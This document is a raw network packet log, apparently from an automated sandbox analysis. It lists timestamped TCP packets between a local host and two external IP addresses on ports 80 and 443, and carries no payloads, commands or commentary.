Nov 27, 2024 16:34:21.991455078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.992824078 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.992877007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.992898941 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.992944956 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.040479898 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.040515900 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.040649891 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.040673971 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.040725946 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.042418957 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.042478085 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.042479992 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.042517900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.043116093 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.043165922 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.043169022 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.043221951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.044475079 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.044527054 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.044549942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.044599056 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.045851946 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.045901060 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.045943975 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.045994043 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.047209024 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.047260046 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.047266006 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.047331095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.048582077 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.048624992 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.048629045 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.048667908 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.050000906 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.050065994 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.050067902 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.050116062 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.051346064 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.051393986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.051548958 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.051595926 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.052803040 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.052853107 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.052865982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.052915096 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.054065943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.054119110 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.054171085 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.054219961 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.055406094 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.055459976 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.055497885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.055546045 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.056814909 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.056866884 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.057039022 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.057090998 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.058109999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.058160067 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.058175087 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.058216095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.059545994 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.059562922 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.059600115 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.059613943 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.060885906 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.060913086 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.060940027 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.061050892 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.062181950 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.062235117 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.062275887 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.062325001 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.063560963 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.063611031 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.063711882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.063760996 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.065088987 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.065139055 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.065150023 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.065196037 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.066272974 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.066323042 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.066369057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.066417933 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.067656994 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.067708969 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.067764997 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.067811966 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.079935074 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.079986095 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.080027103 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.080048084 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.080065012 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.080091953 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.104669094 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.104718924 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.104758978 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.104775906 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.104804039 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.104825020 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.117726088 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.117805958 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.117845058 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.117893934 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.118464947 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.118511915 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.118537903 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.118580103 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.119745970 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.119760036 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.119803905 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.121079922 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.121133089 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.121196985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.121243954 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.122437000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.122508049 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.122524977 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.122570992 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.122802973 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.122848988 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.122881889 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.122889996 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.122916937 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.122936010 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.123815060 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.123867035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.124034882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.124079943 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.125299931 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.125349998 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.125437021 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.125483036 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.126579046 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.126630068 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.126741886 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.126790047 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.127999067 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.128045082 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.128104925 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.128150940 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.129223108 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.129245043 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.129271030 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.129283905 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.130593061 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.130637884 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.130640984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.130671978 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.131939888 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.131990910 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.131994009 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.132035971 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.133363962 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.133410931 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.133486032 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.133529902 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.134720087 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.134777069 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.134872913 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.134916067 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.136327982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.136374950 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.136437893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.136482000 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.137634039 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.137685061 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.137720108 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.137763023 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.139163971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.139216900 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.139235973 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.139288902 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.173824072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.173923016 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.174082994 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.174429893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.174488068 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.174563885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.174618959 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.175694942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.175745010 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.175782919 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.175833941 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.177026987 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.177103996 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.177138090 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.177190065 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.178248882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.178299904 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.178303957 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.178354979 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.179536104 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.179588079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.179651976 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.179702997 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.180807114 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.180856943 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.180861950 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.180921078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.181993961 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.182045937 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.182123899 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.182173967 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.183239937 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.183290958 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.183334112 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.183383942 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.184406042 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.184457064 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.184526920 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.184576988 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.185610056 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.185663939 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.185709000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.185760975 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.186758995 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.186808109 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.186898947 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.186943054 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.187916040 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.187978029 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.188060999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.188118935 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.189065933 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.189114094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.189194918 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.189243078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.190200090 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.190248966 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.190285921 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.190332890 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.191304922 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.191355944 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.191431999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.191479921 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.192703009 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.192723989 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.192769051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.192769051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.225414991 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.225474119 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.225533962 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.225564003 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.225577116 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.225609064 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.241187096 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.241214991 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.241267920 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.241280079 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.241292953 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.241323948 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.256844044 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.256885052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.256910086 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.256925106 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.257106066 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.257153034 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.257179976 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.257200956 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.257205963 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.257219076 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.257252932 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.257256031 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.257276058 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.257316113 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.258048058 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.258100986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.258187056 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.258234024 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.259375095 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.259407043 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.259429932 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.259439945 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.260377884 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.260426998 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.260487080 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.260531902 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.261446953 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.261497021 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.261528969 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.261573076 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.262546062 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.262593031 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.262653112 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.262698889 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.263587952 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.263639927 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.263962030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.264013052 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.264708042 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.264755964 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.264799118 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.264847994 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.265825033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.265872002 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.265878916 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.265909910 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.266952991 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.266987085 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.267010927 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.267019987 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.268136978 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.268197060 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.268243074 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.268285990 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.269495010 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.269562960 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.269572020 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.269614935 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.270436049 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.270487070 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.270534992 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.270581961 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.271394014 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.271457911 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.271457911 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.271476030 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.271500111 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.271506071 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.271527052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.271536112 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.271564007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.271564960 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.272492886 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.272547007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.272696018 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.272746086 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.273574114 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.273624897 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.273675919 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.273722887 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.274699926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.274753094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.274804115 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.274847984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.275774002 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.275830030 CET	49701	80	192.168.2.7	185.215.113.206
